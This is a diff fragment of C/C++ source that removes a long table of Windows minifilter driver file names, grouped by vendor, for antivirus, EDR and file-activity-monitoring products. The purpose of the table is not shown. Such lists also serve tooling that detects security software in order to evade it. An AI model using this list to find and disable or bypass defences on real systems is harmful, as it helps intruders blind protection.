// AVNOS - _T("kavnsi.sys"), - // AvSoft Technologies - _T("strapvista.sys"), - _T("strapvista64.sys"), - // AxBx - _T("vk_fsf.sys"), - // Baidu (beijing) - _T("BDFileDefend.sys"), - // Baidu (Hong Kong) Limited - _T("Bfilter.sys"), - // Baidu online network technology (beijing)Co. - _T("BDsdKit.sys"), - _T("bd0003.sys"), - // Beijing Kingsoft - _T("ksfsflt.sys"), - // Beijing Majorsec - _T("majoradvapi.sys"), - // Beijing Rising Information Technology Corporation Limited - _T("HookSys.sys"), - // Beijing Venus - _T("TxFileFilter.sys"), - _T("VTSysFlt.sys"), - // Binary Defense Systems - _T("Osiris.sys"), - // Bit9 Inc - _T("b9kernel.sys"), - // Bitdefender - _T("bdsvm.sys"), - // BitDefender SRL - _T("hbflt.sys"), - _T("vlflt.sys"), - _T("gzflt.sys"), - _T("bddevflt.sys"), - _T("ignis.sys"), - _T("AVCKF.SYS"), - _T("gemma.sys"), - _T("Atc.sys"), - _T("AVC3.SYS"), - _T("TRUFOS.SYS"), - // Bkav Corporation - _T("BkavAutoFlt.sys"), - _T("BkavSdFlt.sys"), - // BLACKFORT SECURITY - _T("bSyirmf.sys"), - _T("bSysp.sys"), - _T("bSydf.sys"), - _T("bSywl.sys"), - _T("bSyrtm.sys"), - _T("bSyaed.sys"), - _T("bSyar.sys"), - // BullGuard - _T("BdFileSpy.sys"), - // C-NetMedia Inc - _T("antispyfilter.sys"), - // CheckMAL Inc - _T("AppCheckD.sys"), - // Cheetah Mobile Inc. - _T("wdocsafe.sys"), - _T("lbprotect.sys"), - // Cisco Systems - _T("csaav.sys"), - _T("CiscoSAM.sys"), - _T("immunetselfprotect.sys"), - _T("immunetprotect.sys"), - _T("CiscoAMPCEFWDriver.sys"), - _T("CiscoAMPHeurDriver.sys"), - // CJSC Returnil Software - _T("rvsmon.sys"), - // CodeProof Technologies Inc - _T("CpAvFilter.sys"), - _T("CpAvKernel.sys"), - // Comodo Group Inc. - _T("cmdccav.sys"), - _T("cmdguard.sys"), - // Computer Assoc - _T("caavFltr.sys"), - _T("ino_fltr.sys"), - // ConeSecurity Inc - _T("CSFlt.sys"), - // Confluera Inc - _T("tbmninifilter.sys"), - // Coranti Inc. - _T("crnsysm.sys"), - _T("crncache32.sys"), - _T("crncache64.sys"), - // CoreTrace Corporation - _T("bouncer.sys"), - // CrowdStrike Ltd. - _T("csagent.sys"), - // Dakota State University - _T("EdnemFsFilter.sys"), - // Deep Instinct - _T("DeepInsFS.sys"), - // Deep Instinct Ltd. - _T("DeepInsFS.sys"), - // Digitalonnet - _T("ADSpiderDoc.sys"), - // Doctor Web - _T("drwebfwft.sys"), - _T("DwShield.sys"), - _T("DwShield64.sys"), - _T("dwprot.sys"), - // Doctor Web Ltd. - _T("Spiderg3.sys"), - // DriveSentry Inc - _T("drivesentryfilterdriver2lite.sys"), - // EasyAntiCheat Solutions - _T("easyanticheat.sys"), - // eEye Digital Security - _T("eeyehv.sys"), - _T("eeyehv64.sys"), - // Egnyte Inc - _T("egnfsflt.sys"), - // EMC - _T("ECATDriver.sys"), - // Emsi Software GmbH - _T("a2ertpx86.sys"), - _T("a2ertpx64.sys"), - _T("a2gffx86.sys"), - _T("a2gffx64.sys"), - _T("a2gffi64.sys"), - _T("a2acc.sys"), - _T("a2acc64.sys"), - // EnigmaSoft - _T("EnigmaFileMonDriver.sys"), - // ESET, spol. s r.o. - _T("eamonm.sys"), - // ESTsecurity Corp - _T("RSRtw.sys"), - _T("RSPCRtw.sys"), - // ESTsoft - _T("AYFilter.sys"), - _T("Rtw.sys"), - // ESTsoft corp. - _T("EstRkmon.sys"), - _T("EstRkr.sys"), - // ETRI - _T("vrSDetri.sys"), - _T("vrSDetrix.sys"), - // Everyzone - _T("TvMFltr.sys"), - // EveryZone Inc. - _T("IProtect.sys"), - // EveryZone INC. - _T("TvFiltr.sys"), - _T("TvDriver.sys"), - _T("TvSPFltr.sys"), - _T("TvPtFile.sys"), - // f-protect - _T("fpav_rtp.sys"), - // f-secure - _T("fsgk.sys"), - // Filseclab - _T("fildds.sys"), - // Fortinet Inc. - _T("FortiAptFilter.sys"), - _T("fortimon2.sys"), - _T("fortirmon.sys"), - _T("fortishield.sys"), - // Fujitsu Social Science - _T("wscm.sys"), - // FXSEC LTD - _T("pfkrnl.sys"), - // G Data - _T("HookCentre.sys"), - _T("PktIcpt.sys"), - _T("MiniIcpt.sys"), - // GAS Tecnologia - _T("GbpKm.sys"), - // Greatsoft Corp.Ltd - _T("vcdriv.sys"), - _T("vcreg.sys"), - _T("vchle.sys"), - // GRGBanking Equipment - _T("SECOne_USB.sys"), - _T("SECOne_Proc10.sys"), - _T("SECOne_REG10.sys"), - _T("SECOne_FileMon10.sys"), - // GridinSoft LLC - _T("gtkdrv.sys"), - // HAURI - _T("VrARnFlt.sys"), - _T("VrBBDFlt.sys"), - _T("vrSDfmx.sys"), - _T("vrSDam.sys"), - _T("VrAptDef.sys"), - _T("VrSdCore.sys"), - _T("VrFsFtM.sys"), - _T("VrFsFtMX.sys(AMD64)"), - _T("vradfil2.sys"), - // HAURI Inc. - _T("VRAPTFLT.sys"), - // Hidden Reflex - _T("epicFilter.sys"), - // Hitachi Solutions - _T("hsmltwhl.sys"), - _T("hssfwhl.sys"), - // HSM IT-Services Gmbh - _T("oavfm.sys"), - // Huorong Security - _T("sysdiag.sys"), - // IBM - _T("issregistry.sys"), - // IKARUS Security - _T("ntguard.sys"), - // Imperva Inc. - _T("mfdriver.sys"), - // INCA Internet Co. - _T("npxgd.sys"), - _T("npxgd64.sys"), - _T("tkpl2k.sys"), - _T("tkpl2k64.sys"), - _T("GKFF.sys"), - _T("GKFF64.sys"), - _T("tkdac2k.sys"), - _T("tkdacxp.sys"), - _T("tkdacxp64.sys"), - _T("tksp2k.sys"), - _T("tkspxp.sys"), - _T("tkspxp64.sys"), - // INCA Internet Co., Ltd - _T("tkfsft.sys"), - _T("tkfsft64.sys"), - _T("tkfsavxp.sys"), - _T("tkfsavxp64.sys"), - // Individual developer (Soft3304) - _T("AntiLeakFilter.sys"), - // IObit Information Tech - _T("IMFFilter.sys"), - // ISS - _T("issfltr.sys"), - // K7 Computing Private Ltd. - _T("K7Sentry.sys"), - // Kaspersky - _T("klbg.sys"), - _T("kldback.sys"), - _T("kldlinf.sys"), - _T("kldtool.sys"), - _T("klif.sys"), - // Kaspersky Lab - _T("klam.sys"), - _T("klif.sys"), - // KINGSOFT - _T("dgsafe.sys"), - // knowwheresoft Ltd - _T("securoFSD_x64.sys"), - // Komoku Inc. - _T("kmkuflt.sys"), - // Lavasoft AB - _T("lbd.sys"), - // Leith Bade - _T("cwdriver.sys"), - // Lenovo - _T("lnvscenter.sys"), - // Lightspeed Systems Inc. - _T("SAFsFilter.sys"), - // Malwarebytes Corp. - _T("FlightRecorder.sys"), - _T("mbam.sys"), - // MastedCode Ltd - _T("fsfilter.sys"), - // Max Secure Software - _T("MaxProc64.sys"), - _T("MaxProtector.sys"), - _T("maxcryptmon.sys"), - _T("SDActMon.sys"), - // McAfee Inc. - _T("epdrv.sys"), - _T("mfencoas.sys"), - _T("mfehidk.sys"), - _T("swin.sys"), - // Meidensha Corp - _T("WhiteShield.sys"), - // Microsoft - _T("WdFilter.sys"), - _T("mpFilter.sys"), - // MicroWorld Software Services Pvt. Ltd. - _T("mwfsmfltr.sys"), - // NeoAutus - _T("NeoKerbyFilter"), - // Netlor SAS - _T("KUBWKSP.sys"), - // NetSecurity Corp - _T("trfsfilter.sys"), - // NHN - _T("nsminflt.sys"), - _T("nsminflt64.sys"), - // Norman - _T("nvcmflt.sys"), - // Norman ASA - _T("nprosec.sys"), - _T("nregsec.sys"), - // Novatix Corporation - _T("NxFsMon.sys"), - // NPcore Ltd - _T("FileScan.sys"), - // Odyssey Cyber Security - _T("ODFsFimFilter.sys"), - _T("ODFsTokenFilter.sys"), - _T("ODFsFilter.sys"), - // OKUMA Corp - _T("ospfile_mini.sys"), - // OnMoon Company LLC - _T("acdrv.sys"), - // Palo Alto Networks - _T("CyvrFsfd.sys"), - // Panda Security - _T("PSINPROC.SYS"), - _T("PSINFILE.SYS"), - _T("amfsm.sys"), - _T("amm8660.sys"), - _T("amm6460.sys"), - // Panda Software - _T("NanoAVMF.sys"), - _T("shldflt.sys"), - // Panzor Cybersecurity - _T("pavdrv.sys"), - // Paretologic - _T("PLGFltr.sys"), - // PC Tools Pty. Ltd. - _T("PCTCore64.sys"), - _T("PCTCore.sys"), - _T("ikfilesec.sys"), - // Perfect World Co. Ltd - _T("PerfectWorldAntiCheatSys.sys"), - // PerfectWorld Ltd - _T("PWProtect.sys"), - // PerSystems SA - _T("pervac.sys"), - // Pooyan System - _T("RanPodFS.sys"), - // PWI, Inc. - _T("pwipf6.sys"), - // Qihoo 360 - _T("dsark.sys"), - _T("360avflt.sys"), - // Quick Heal Technologies Pvt. Ltd. - _T("snsrflt.sys"), - _T("bdsflt.sys"), - _T("arwflt.sys"), - // Quick Heal TechnologiesPvt. Ltd. - _T("ggc.sys"), - _T("catflt.sys"), - // ReaQta Ltd. - _T("reaqtor.sys"), - // Redstor Limited - _T("RsFlt.sys"), - // refractionPOINT - _T("hcp_kernel_acq.sys"), - // REVE Antivirus - _T("ReveFltMgr.sys"), - _T("ReveProcProtection.sys"), - // S.N.Safe&Software - _T("snscore.sys"), - // Sangfor Technologies - _T("sfavflt.sys"), - // Savant Protection, Inc. - _T("savant.sys"), - // Scargo Inc - _T("si32_file.sys"), - _T("si64_file.sys"), - // SECUI Corporation - _T("sciptflt.sys"), - _T("scifsflt.sys"), - // SecuLution GmbH - _T("ssvhook.sys"), - // SecureAge Technology - _T("sascan.sys"), - // SecureBrain Corporation - _T("mscan-rt.sys"), - // SecureLink Inc. - _T("zwPxeSvr.sys"), - _T("zwASatom.sys"), - // Securitas Technologies,Inc. - _T("NovaShield.sys"), - // SecurityCoverage, Inc. - _T("SCFltr.sys"), - // Segira LLC - _T("SegiraFlt.sys"), - // Segurmatica - _T("SegMD.sys"), - _T("SegMP.sys"), - _T("SegF.sys"), - // Sequretek IT - _T("KawachFsMinifilter.sys"), - // SGA - _T("EPSMn.sys"), - // SGRI Co., LTD. - _T("vcMFilter.sys"), - // SheedSoft Ltd - _T("SheedAntivirusFilterDriver.sys"), - // Shenzhen Tencent Computer Systems Company Limited - _T("TSysCare.sys"), - _T("TFsFlt.sys"), - // Softwin - _T("bdfsfltr.sys"), - _T("bdfm.sys"), - // Sophos - _T("SophosED.sys"), - _T("SAVOnAccess.sys"), - _T("savonaccess.sys"), - _T("sld.sys"), - // SpellSecurity - _T("spellmon.sys"), - // Sybonic Systems Inc - _T("THFilter.sys"), - // symantec - _T("eeCtrl.sys"), - _T("eraser.sys"), - _T("SRTSP.sys"), - _T("SRTSPIT.sys"), - _T("SRTSP64.SYS"), - // Symantec - _T("VirtualAgent.sys"), - // Tall Emu - _T("OADevice.sys"), - // Technology Nexus AB - _T("SE46Filter.sys"), - // TEHTRI-Security - _T("egambit.sys"), - _T("egfilterk.sys"), - // Tencent - _T("TesMon.sys"), - _T("QQSysMonX64.sys"), - _T("QQSysMon.sys"), - // Teramind - _T("tmfsdrv2.sys"), - // TRAPMINE A.S. - _T("trpmnflt.sys"), - // Trend - _T("tmpreflt.sys"), - // Trend Micro Inc. - _T("TmKmSnsr.sys"), - _T("fileflt.sys"), - _T("TmEsFlt.sys"), - _T("TmEyes.sys"), - _T("tmevtmgr.sys"), - // Verdasys Inc - _T("STKrnl64.sys"), - // VisionPower Co.,Ltd. - _T("PZDrvXP.sys"), - // VMware, Inc. - _T("vsepflt.sys"), - _T("VFileFilter.sys(renamed)"), - // WardWiz - _T("WrdWizSecure64.sys"), - _T("wrdwizscanner.sys"), - // Webroot Inc. - _T("WRAEKernel.sys"), - _T("WRKrn.sys"), - _T("WRCore.sys"), - // Webroot Software, Inc. - _T("ssfmonm.sys"), - // White Cloud Security - _T("WCSDriver.sys"), - // WidgetNuri Corp - _T("SoftFilterxxx.sys"), - _T("RansomDefensexxx.sys"), - // WINS CO. LTD - _T("agentrtm64.sys"), - _T("rswmon.sys"), - // Yoggie - _T("UFDFilter.sys"), - // ZhengYong InfoTech LTD. - _T("Zyfm.sys"), - /* - * FSFilter Anti-Virus - END - */ - /* - * FSFilter Activity Monitor - BEGIN - */ - // (c)SMS - _T("isafermon"), - // 1mill - _T("FSMon.sys"), - // 360 Software (Beijing) - _T("AtdrAgent.sys"), - _T("AtdrAgent64.sys"), - _T("Qutmdrv.sys"), - // Absolute Software - _T("cbfsfilter2017.sys"), - // Acronis - _T("NgScan.sys"), - // Actifio Inc - _T("aaf.sys"), - // Adaptiva - _T("AdaptivaClientCache32.sys"), - _T("AdaptivaclientCache64.sys"), - // Adtrustmedia - _T("browserMon.sys"), - // AhnLab, Inc. - _T("VPDrvNt.sys"), - // AI Consulting - _T("aictracedrv_am.sys"), - // Airlock Digital Pty Ltd - _T("alcapture.sys"), - // AIRWare Technology Ltd - _T("airship-filter.sys"), - // Alfa - _T("AlfaFF.sys"), - // Aliaksander Lebiadzevich - _T("SDDrvLdr.sys"), - // AlphaAntiLeak - _T("AALProtect.sys"), - // ALPS SYSTEM INTERGRATION CO. - _T("ISIRMFmon.sys"), - // Altaro Ltd. - _T("altcbt.sys"), - // ALWIL Software - _T("aswFsBlk.sys"), - // Amazon Web Services Inc - _T("AmznMon.sys"), - // Analytik Jena AG - _T("ajfsprot.sys"), - // ApexSQL LLC - _T("ApexSqlFilterDriver.sys"), - // AppGuard LLC - _T("AGSysLock.sys"), - _T("AGSecLock.sys"), - // AppiXoft - _T("axfsysmon.sys"), - _T("scensemon.sys"), - // AppSense Ltd - _T("DataNow_Driver.sys"), - _T("UcaFltDriver.sys"), - // AppStream, Inc. - _T("rflog.sys"), - // ApSoft - _T("CwMem2k64.sys"), - // Aqua Security - _T("ContainerMonitor.sys"), - // Arcserve - _T("xoiv8x64.sys"), - // Arkoon Network Security - _T("heimdall.sys"), - // Ashampoo Development - _T("IFS64.sys"), - // AsiaInfo Technologies - _T("kFileFlt.sys"), - // Aternity Ltd - _T("AternityRegistryHook.sys"), - // Atlansys Software - _T("atflt.sys"), - _T("amfd.sys"), - // Avanite Limited - _T("AvaPsFD.sys"), - // Avast Software - _T("aswSP.sys"), - // AVG Technologies CZ - _T("avgtpx86.sys"), - _T("avgtpx64.sys"), - // Avira GmbH - _T("avipbb.sys"), - // AvSoft Technologies - _T("strapvista.sys"), - // Axact Pvt Ltd - _T("axfltdrv.sys"), - // Axur Information Sec. - _T("amsfilter.sys"), - // Backup Systems Ltd - _T("cbfltfs4.sys"), - // Baidu (beijing) - _T("BdRdFolder.sys"), - // Baidu (Hong Kong) Limited - _T("Bfmon.sys"), - // Baidu Online Network - _T("bdsysmon.sys"), - // Barkly Protects Inc. - _T("BOsCmFlt.sys"), - _T("BOsFsFltr.sys"), - // Basein Networks - _T("cbfsfilter2017.sys"), - // BattlEye Innovations - _T("BEDaisy.sys"), - // Beijing CA-JinChen Software Co. - _T("kfac.sys"), - // Beijing QiAnXin Tech. - _T("QmInspec.sys"), - // Beijing Qihoo Technology Co. - _T("360fsflt.sys"), - // Beijing Shu Yan Science - _T("GagSecurity.sys"), - // Beijing Zhong Hang Jiaxin Computer Technology Co.,Ltd. - _T("filefilter.sys"), - // Best Security - _T("rpwatcher.sys"), - // BeyondTrust Inc. - _T("BlackbirdFSA.sys"), - // BicDroid Inc. - _T("QDocumentREF.sys"), - // Bit9 Inc. - _T("CarbonBlackK.sys"), - // BitArmor Systems, Inc - _T("bapfecpt.sys"), - _T("bamfltr.sys"), - // Bitdefender SRL - _T("edrsensor.sys"), - _T("bdprivmon.sys"), - // bitFence Inc. - _T("bfaccess.sys"), - // BiZone LLC - _T("bzsenyaradrv.sys"), - _T("bzsenspdrv.sys"), - _T("bzsenth.sys"), - // Blue Ridge Networks - _T("BrnFileLock.sys"), - _T("BrnSecLock.sys"), - // Bluzen Inc - _T("ipcomfltr.sys"), - // Broadcom - _T("symevnt.sys"), - _T("symevnt32.sys"), - // Bromium Inc - _T("brfilter.sys"), - _T("BrCow_x_x_x_x.sys"), - _T("BemK.sys"), - // ByStorm - _T("BssAudit.sys"), - // C-DAC Hyderabad - _T("pecfilter.sys"), - // CA - _T("xomfcbt8x64.sys"), - _T("KmxAgent.sys"), - _T("KmxFile.sys"), - _T("KmxSbx.sys"), - // Carbonite Inc - _T("MozyNextFilter.sys"), - _T("MozyCorpFilter.sys"), - _T("MozyEntFilter.sys"), - _T("MozyOEMFilter.sys"), - _T("MozyEnterpriseFilter.sys"), - _T("MozyProFilter.sys"), - _T("MozyHomeFilter.sys"), - _T("BDSFilter.sys"), - _T("CSBFilter.sys"), - // cEncrypt - _T("dsflt.sys"), - // Centennial Software Ltd - _T("msiodrv4.sys"), - // Centre for Development of Advanced Computing - _T("USBPDH.SYS"), - // Centrify Corp - _T("CentrifyFSF.sys"), - // Certero - _T("cmflt.sys"), - // Chaewool - _T("cFSfdrv"), - // Check Point Software - _T("epregflt.sys"), - _T("epklib.sys"), - // Checkpoint Software - _T("cpepmon.sys"), - // ChemoMetec - _T("ChemometecFilter.sys"), - // Cigent Technology Inc - _T("Spotlight.sys"), - // Cigital, Inc. - _T("fmdrive.sys"), - // Cisco Systems - _T("csaam.sys"), - // Citrix Systems - _T("srminifilterdrv.sys"), - // Clonix Co - _T("rsfdrv.sys"), - // Clumio Inc - _T("ClumioChangeBlockMf.sys"), - // Code42 - _T("Code42Filter.sys"), - // ColorTokens - _T("FFDriver.sys"), - // Comae Tech - _T("windd.sys"), - // CommVault Systems, Inc. - _T("CVCBT.sys"), - // Comodo Security Solutions Inc. - _T("CmdCwagt.sys"), - _T("cfrmd.sys"), - // ComTrade - _T("ctamflt.sys"), - // Comtrue Technology - _T("shdlpSf.sys"), - _T("ctrPAMon.sys"), - _T("shdlpMedia.sys"), - // Conduant Corporation - _T("ConduantFSFltr.sys"), - // Condusiv Technologies - _T("hiofs.sys"), - // CondusivTechnologies - _T("vintmfs.sys"), - _T("intmfs.sys"), - _T("excfs.sys"), - // Confio - _T("IridiumSwitch.sys"), - // CONNECT SHIFT LTD - _T("DTPL.sys"), - // CoSoSys - _T("cssdlp.sys"), - // Crawler Group - _T("tbrdrv.sys"), - // Credant Technologies - _T("XendowFLT.sys"), - // CristaLink - _T("mtsvcdf.sys"), - // CRU Data Security Group - _T("CdsgFsFilter.sys"), - // CyberArk Software - _T("vfpd.sys"), - _T("CybKernelTracker.sys"), - // CyberSight Inc - _T("csmon.sys"), - // Cygna Labs - _T("FileMonitor.sys"), - // Cylance Inc. - _T("CyOptics.sys"), - _T("CyProtectDrv32.sys"), - _T("CyProtectDrv64.sys"), - // Cytrence Inc - _T("cytmon.sys"), - // Datacloak Tech - _T("dcfsgrd.sys"), - // DataGravity Inc. - _T("dgfilter.sys"), - // Datto Inc - _T("DattoFSF.sys"), - // Dell Secureworks - _T("groundling32.sys"), - _T("groundling64.sys"), - // Dell Software Inc. - _T("DgeDriver.sys"), - // DELL Technologies - _T("DTDSel.sys"), - // Dell Technologies - _T("NWEDriver.sys"), - // derivo GmbH - _T("bbfilter.sys"), - // Digitalsense Co - _T("dsfltfs.sys"), - // Diskeeper Corporation - _T("nowonmf.sys"), - _T("dktlfsmf.sys"), - _T("DKDrv.sys"), - _T("DKRtWrt.sys"), - _T("HBFSFltr.sys"), - // Dmitry Stefankov - _T("WinTeonMiniFilter.sys"), - _T("wiper.sys"), - _T("DevMonMiniFilter.sys"), - // Doctor Web - _T("Drwebfwflt.sys"), - _T("EventMon.sys"), - // Douzone Bizon Co - _T("rswctrl.sys"), - _T("mcstrg.sys"), - _T("fmkkc.sys"), - _T("nmlhssrv01.sys"), - // DreamCrafts - _T("SaMFlt.sys"), - // Dtex Systems - _T("dnaFSMonitor.sys"), - // EaseVault Technologies Inc. - _T("EaseFlt.sys"), - // Egis Technology Inc. - _T("eLock2FSCTLDriver.sys"), - // Egnyte Inc - _T("egnfsflt.sys"), - // eIQnetworks Inc. - _T("FIM.sys"), - // Elex Tech Inc - _T("iSafeKrnl.sys"), - _T("iSafeKrnlMon.sys"), - // eMingSoftware Inc - _T("NetPeeker.sys"), - // Encourage Technologies - _T("asiofms.sys"), - // Enterprise Data Solutions, Inc. - _T("edsigk.sys"), - // Entrust Inc. - _T("eetd32.sys"), - _T("eetd64.sys"), - // ESET, spol. s r.o. - _T("ehdrv.sys"), - // ESTsoft corp. - _T("EstPrmon.sys"), - _T("Estprp.sys"), - _T("EstRegmon.sys"), - _T("EstRegp.sys"), - // F-Secure - _T("fshs.sys"), - _T("fsatp.sys"), - // Faronics Corporation - _T("AeFilter.sys"), - // FastTrack Software ApS - _T("AbrPmon.sys"), - // FFC Limited - _T("FFCFILT.SYS"), - // FileTek, Inc. - _T("TrustedEdgeFfd.sys"), - // FireEye Inc - _T("WFP_MRT.sys"), - // FireEye Inc. - _T("FeKern.sys"), - // Fitsec Ltd - _T("kconv.sys"), - _T("trace.sys"), - _T("SandDriver.sys"), - // Flexera Software Inc. - _T("ISRegFlt.sys"), - _T("ISRegFlt64.sys"), - // ForcePoint LLC. - _T("fpepflt.sys"), - // Fujian Shen Kong - _T("wats_se.sys"), - // FUJITSU ENGINEERING - _T("ibr2fsk.sys"), - // FUJITSU LIMITED - _T("FJGSDis2.sys"), - _T("FJSeparettiFilterRedirect.sys"), - _T("Fsw31rj1.sys"), - _T("da_ctl.sys"), - // FUJITSU SOCIAL SCIENCE - _T("secure_os.sys"), - // FUJITSU SOFTWARE - _T("PsAcFileAccessFilter.sys"), - // Fusion-io - _T("fiometer.sys"), - _T("dcSnapRestore.sys"), - // Futuresoft - _T("PointGuardVistaR32.sys"), - _T("PointGuardVistaR64.sys"), - _T("PointGuardVistaF.sys"), - _T("PointGuardVista64F.sys"), - // G Data Software AG - _T("gddcv.sys"), - // GameHi Co. - _T("Codex.sys"), - // GemacmbH - _T("GcfFilter.sys"), - // Glarysoft Ltd. - _T("GUMHFilter.sys"), - // Google, Inc. - _T("MRxGoogle.sys"), - // Gorizonty Rosta Ltd - _T("GoFSMF.sys"), - // GrammaTech, Inc. - _T("drvhookcsmf.sys"), - _T("drvhookcsmf_amd64.sys"), - // Group-IB LTD - _T("gibepcore.sys"), - // HA Unix Pt - _T("hafsnk.sys"), - // Hangzhou Yifangyun - _T("fangcloud_autolock_driver.sys"), - // HAURI - _T("secure_os_mf.sys"), - // Hauri Inc - _T("VrVBRFsFilter.sys"), - _T("VrExpDrv.sys"), - // HAVELSAN A. - _T("HVLMinifilter.sys"), - // HEAT Software - _T("SK.sys"), - // Heilig Defense LLC - _T("HDRansomOffDrv.sys"), - _T("HDCorrelateFDrv.sys"), - _T("HDFileMon.sys"), - // HeroBravo Technology - _T("sysdiag.sys"), - // Hexis Cyber Solutions - _T("HexisFSMonitor.sys"), - // HFN Inc. - _T("RGNT.sys"), - // Hitachi Solutions - _T("hsmltmon.sys"), - // Honeycomb Technologies - _T("dskmn.sys"), - // HP - _T("hpreg.sys"), - // i-Guard SAS - _T("iGuard.sys"), - // I-O DATA DEVICE - _T("sConnect.sys"), - // IBM - _T("NmpFilter.sys"), - _T("FsMonitor.sys"), - // Idera - _T("IderaFilterDriver.sys"), - // Idera Software - _T("SQLsafeFilterDriver.sys"), - // IGLOO SECURITY, Inc. - _T("kmNWCH.sys"), - // IKARUS Security - _T("Sonar.sys"), - // Immidio B.V. - _T("immflex.sys"), - // in-soft Kft. - _T("LmDriver.sys"), - // INCA Internet Co. - _T("GKPFCB.sys"), - _T("GKPFCB64.sys"), - // INCA Internet Co.,Ltd. - _T("TkPcFtCb.sys"), - _T("TkPcFtCb64.sys"), - // Industrial Technology - _T("icrlmonitor.sys"), - // InfoCage - _T("IccFilterSc.sys"), - // Informzaschita - _T("SnDacs.sys"), - _T("SnExequota.sys"), - // Infotecs - _T("filenamevalidator.sys"), - _T("KC3.sys"), - // InfoWatch - _T("iwhlp2.sys"), - _T("iwhlpxp.sys"), - _T("iwhlp.sys"), - _T("iwdmfs.sys"), - // Initech Inc. - _T("INISBDrv64.sys"), - // Int3 Software AB - _T("equ8_helper.sys"), - // Intel Corporation - _T("ielcp.sys"), - _T("IESlp.sys"), - _T("IntelCAS.sys"), - // Intercom Inc. - _T("tsifilemon.sys"), - _T("MarSpy.sys"), - // Interset Inc. - _T("WDCFilter.sys"), - // Intronis Inc - _T("VHDTrack.sys"), - // Invincea - _T("InvProtectDrv.sys"), - _T("InvProtectDrv64.sys"), - // Ionx Solutions LLP - _T("AuditFlt.sys"), - // ioScience - _T("iothorfs.sys"), - // iSecure Ltd. - _T("isecureflt.sys"), - // ITsMine - _T("imfilter.sys"), - // ITSTATION Inc - _T("aUpDrv.sys"), - // Ivanti - _T("IvAppMon.sys"), - // J's Communication Co. - _T("RevoNetDriver.sys"), - // Jinfengshuntai - _T("IPFilter.sys"), - // JiranData Co. Ltd - _T("JDPPWF.sys"), - _T("JDPPSF.sys"), - // Jiransoft Co., Ltd - _T("offsm.sys"), - _T("xkfsfd.sys"), - _T("JKPPOB.sys"), - _T("JKPPXK.sys"), - _T("JKPPPF.sys"), - _T("JKPPOK.sys"), - _T("pcpifd.sys"), - // k4solution Co. - _T("zsfprt.sys"), - // Kalpataru - _T("GPMiniFIlter.sys"), - // Kaspersky Lab - _T("klboot.sys"), - _T("klfdefsf.sys"), - _T("klrsps.sys"), - _T("klsnsr.sys"), - _T("klifks.sys"), - _T("klifaa.sys"), - _T("Klifsm.sys"), - // KEBA AG - _T("KeWF.sys"), - // Kenubi - _T("boxifier.sys"), - // Keysight Technologies - _T("KtFSFilter.sys"), - // kingsoft - _T("Kisknl.sys"), - // Kits Ltd. - _T("cbfsfilter2017.sys"), - // KnowledgeTree Inc. - _T("ktsyncfsflt.sys"), - // Koby Kahane - _T("NpEtw.sys"), - // Ladislav Zezula - _T("MSpy.sys"), - // LANDESK Software - _T("LDSecDrv.sys"), - // Lenovo Beijing - _T("slb_guard.sys"), - _T("lrtp.sys"), - // LINK co. - _T("NetAccCtrl.sys"), - _T("NetAccCtrl64.sys"), - // Livedrive Internet Ltd - _T("LivedriveFilter.sys"), - // Logichron Inc - _T("CatMF.sys"), - // LogRhythm Inc. - _T("LRAgentMF.sys"), - // Lovelace Network Tech - _T("MPKernel.sys"), - // Lumension - _T("eps.sys"), - // Magic Softworks, Inc. - _T("MagicBackupMonitor.sys"), - // magrasoft Ltd - _T("zqFilter.sys"), - // MailRu - _T("mracdrv.sys"), - // Malwarebytes - _T("mbamshuriken.sys"), - // Man Technology Inc - _T("bsrfsflt.sys"), - _T("fsrfilter.sys"), - _T("vollock.sys"), - _T("drbdlock.sys"), - // ManageEngine Zoho - _T("DFMFilter.sys"), - _T("DCFAFilter.sys"), - _T("RMPHVMonitor.sys"), - _T("FAPMonitor.sys"), - _T("MEARWFltDriver.sys"), - // ManTech - _T("topdogfsfilt.sys"), - // March Hare Software Ltd - _T("evscase.sys"), - _T("inuse.sys"), - _T("cvsflt.sys"), - // McAfee - _T("mfencfilter.sys"), - // McAfee Inc. - _T("mfeaskm.sys"), - // Micro Focus - _T("FilrDriver.sys"), - // Microsoft - _T("DhWatchdog.sys"), - _T("mssecflt.sys"), - _T("Backupreader.sys"), - _T("MsixPackagingToolMonitor.sys"), - _T("AppVMon.sys"), - _T("DpmFilter.sys"), - _T("Procmon11.sys"), - _T("minispy.sys"), - _T("fdrtrace.sys"), - _T("filetrace.sys"), - _T("uwfreg.sys"), - _T("uwfs.sys"), - _T("locksmith.sys"), - _T("winload.sys"), - _T("CbSampleDrv.sys"), - _T("simrep.sys"), - _T("change.sys"), - _T("delete_flt.sys"), - _T("SmbResilFilter.sys"), - _T("usbtest.sys"), - _T("NameChanger.sys"), - _T("failMount.sys"), - _T("failAttach.sys"), - _T("stest.sys"), - _T("cdo.sys"), - _T("ctx.sys"), - _T("fmm.sys"), - _T("cancelSafe.sys"), - _T("message.sys"), - _T("passThrough.sys"), - _T("nullFilter.sys"), - _T("ntest.sys"), - _T("iiscache.sys"), - _T("wrpfv.sys"), - _T("msnfsflt.sys"), - // Mobile Content Mgmt - _T("cbfsfilter2017.sys"), - // MRY Inc. - _T("drsfile.sys"), - // NanJing Geomarking - _T("MagicProtect.sys"), - _T("cbfsfilter2017.sys"), - _T("cbfsfilter2020.sys"), - // NEC Corporation - _T("UVMCIFSF.sys"), - // NEC Soft - _T("flyfs.sys"), - _T("serfs.sys"), - _T("hdrfs.sys"), - // NEC System Technologies - _T("IccFilterAudit.sys"), - // NEC System Technologies,Ltd. - _T("ICFClientFlt.sys"), - _T("IccFileIoAd.sys"), - // Neowiz Corporation - _T("MWatcher.sys"), - // NetIQ - _T("CGWMF.sys"), - // NetLib - _T("nlcbhelpx86.sys"), - _T("nlcbhelpx64.sys"), - _T("nlcbhelpi64.sys"), - // NetVision, Inc. - _T("nvmon.sys"), - // Network Appliance - _T("flashaccelfs.sys"), - _T("changelog.sys"), - // NetworkProfi Ltd - _T("laFS.sys"), - // New Net Technologies Limited - _T("NNTInfo.sys"), - // NewSoftwares.net,Inc. - _T("WinFLAHdrv.sys"), - _T("WinFLAdrv.sys"), - _T("WinDBdrv.sys"), - _T("WinFLdrv.sys"), - _T("WinFPdrv.sys"), - // NEXON KOREA - _T("BlackCat.sys"), - // NextLabs - _T("nxrmflt.sys"), - // Niriva LLC - _T("VHDDelta.sys"), - _T("FSTrace.sys"), - // Nomadesk - _T("cbfltfs4.sys"), - // Novell - _T("zesfsmf.sys"), - // NTP Software - _T("ntps_fa.sys"), - // Nurd Yazilim A.S. - _T("edrdrv.sys"), - // NURILAB - _T("pfracdrv.sys"), - 